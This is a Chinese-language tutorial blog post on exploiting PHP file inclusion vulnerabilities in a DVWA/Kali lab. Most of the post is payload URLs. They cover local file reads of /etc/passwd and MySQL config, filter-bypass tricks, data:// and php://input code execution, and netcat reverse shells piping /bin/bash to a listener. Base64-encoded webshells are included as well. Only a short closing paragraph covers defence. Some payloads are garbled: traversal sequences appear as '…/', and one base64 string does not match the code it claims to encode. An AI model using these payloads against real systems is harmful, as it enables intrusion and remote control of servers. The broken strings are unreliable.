赞
踩
文件包含漏洞也属于注入漏洞的一种,但跟以往的注入漏洞方式又不一样,接下来给大家介绍该漏洞实现的几种方式,以及绕过方式,php伪协议是如何应用的,都会给大家做演示
文件包含漏洞是代码注入的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行,代码注入的典型代表就是文件包含File inclusion。文件包含可能会出现在jsp、php、asp等语言中。服务器通过函数去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。
常见的文件包含的函数如下:
PHP:include() 、include_once()、require()、require_once()、fopen()、readfile()
JSP/Servlet:ava.io.file()、java.io.filereader()
ASP:include file、include virtual
使用上面几个函数包含文件时,该文件将作为PHP代码执行,PHP内核并不在意被包含的文件是什么类型的。也就是说我们用这几个函数包含.jpg文件时,也会将其当做php文件来执行
只要allow_url_include=On(远程文件包含)、allow_url_fopen=On(本地文件包含)处于打开状态,就存在包含漏洞
顾名思义,就是在本机上包含文件的,叫做本地包含,若是page="外部的url"的话就是远程包含
我们在kali的网页目录新建一个a.php文件,网页目录路径为/var/www/html
文件内的内容为:
是一个典型的存在包含漏洞的代码
我们打开本地浏览器访问
http://192.168.171.128/a.php?page=file:///etc/passwd
http://192.168.171.128/a.php?page=…/…/…/…/…/…/…/…/etc/passwd
http://192.168.171.128/a.php?page=…/…/…/…/…/…/…/…/etc/motd
我们访问mysql的配置文件
http://192.168.171.128/a.php?page=…/…/…/…/…/…/…/…/etc/mysql/my.cnf
这就是典型的文件包含漏洞,没有对特定的符号进行过滤和转义,就会出现这种漏洞。
我们使用dvwa作为演示,以dvwa低级为例
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=file1.php
我们输入
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=…/…/…/…/…/…/…/etc/passwd
(这里添加多个…/是为了能回到根目录)
因为不是php文件,没有执行,就直接显示在页面上了,如果是php文件的话,先执行,后显示
当我们在输入这个的时候,发现没有回显,说明被过滤了
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=…/…/…/…/…/…/…/etc/passwd
我们可以进行双写进行绕过
(过滤…/和http://)
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/passwd
hthttp://tp://192.168.171.128/shell.php(反弹shell)黑名单过滤
我们重新输入
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/passwd
发现回显成功了
当我们在输入双写的做法时,发现也没有回显了,是因为已经过滤了http头了,我们可以使用file:///etc/passwd进行绕过
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=file:///etc/passwd
发现回显成功,也成功绕过了。
当我们本地写不进去,远程又包含不了,怎么办呢,这时我们就需要用到php伪协议了也称封装器,直接写入代码执行。
我们先输入明文试试
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,helloworld
发现回显成功了,就在左上角那里有个helloworld。
我们再试试输入执行命令的代码
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,<?php echo shell_exec("id");?>
回显成功了
我们尝试监听,并反弹shell
我们输入
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,<?php echo shell_exec("nc 192.168.171.128 1234");?>(监听的是1234端口)
连接上了,但是返回不了shell
我们尝试使用-e /bin/bash参数反弹shell
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,<?php echo shell_exec("nc 192.168.171.128 1234 -e /bin/bash");?>
反弹成功,万一要是在其他系统里反弹不了,怎么办,这里有另外一种方法,就是管道传输
我们输入
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,<?php echo shell_exec("nc 192.168.171.128 1234|/bin/bash|nc 192.168.171.128 1235 ");?>
这里解释一下这个参数是怎么回事
nc 192.168.171.128 1234|/bin/bash|nc 192.168.171.128 1235
(就是把目标机器的1234端口执行完后,将数据传输到/bin/bash(shell)后,经过shell执行后在将结果输送到1235端口进行输出)
我们看一下效果,我们先让两个端口进行监听
反弹shell成功,就是在左边输入命令,右边就会输出信息。
当然,在实际工作中,一旦出现了明文注入,就会被检测的到,这时我们就要进行编码绕过,这里进行base64编码演示一下
<?php echo shell_exec("id"); ?>(分号后面编码时要加空格)http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,<?php echo shell_exec("id"); ?>
base64编码后
http://192.168.171.128/dvwa/vulnerabilities/fi/?
page=data://text/plain;base64,PD9waHAgZWNobyBzaGVsbF9leGVjKCJpZCIpOyA/Pg==
回显成功了
我们在输入
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain,
对<?php $var=shell_exec($_GET['cmd']); echo $var ?>进行编码后得到
PD9waHAgZWNobyBzaGVsbF9leGVjKCJpZCIpOyA/Pg==
我们重新输入
http://192.168.171.128/dvwa/vulnerabilities/fi/?page=data:/text/plain;base64,PD9waHAgJHZhcj1zaGVsbF9leGVjKCRfR0VUWydjbWQnXSk7IGVjaG8gJHZhciA/Pg==&cmd=id
(因为后面要通过cmd,输入东西,所以要加上&cmd=id)
发现也成功回显成功了。
这里就要用到burp抓包工具了
我们输入
http://192.168.171.1/dvwa/vulnerabilities/fi/?page=php://input
我们进行重发,插入一段php代码
<php phpinfo();?>
注入成功了,我们只要向其输入执行的命令语句,在右边就会显示出信息了。
在php中,文件包含需要配置 allow_url_include=On(远程文件包含)、allow_url_fopen=On(本地文件包含) 。所以,我们可以将其关闭,这样就可以杜绝文件包含漏洞了。但是,某些情况下,不能将其关闭,必须进行包含的话,我们可以使用白名单过滤的方法,只能包含我们指定的文件。这样,就可以杜绝文件包含漏洞了
通过实验我们总结了文件包含漏洞以及php伪协议的相关利用方法,以及如何进行编码绕过的方法,大家好好复习一下。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。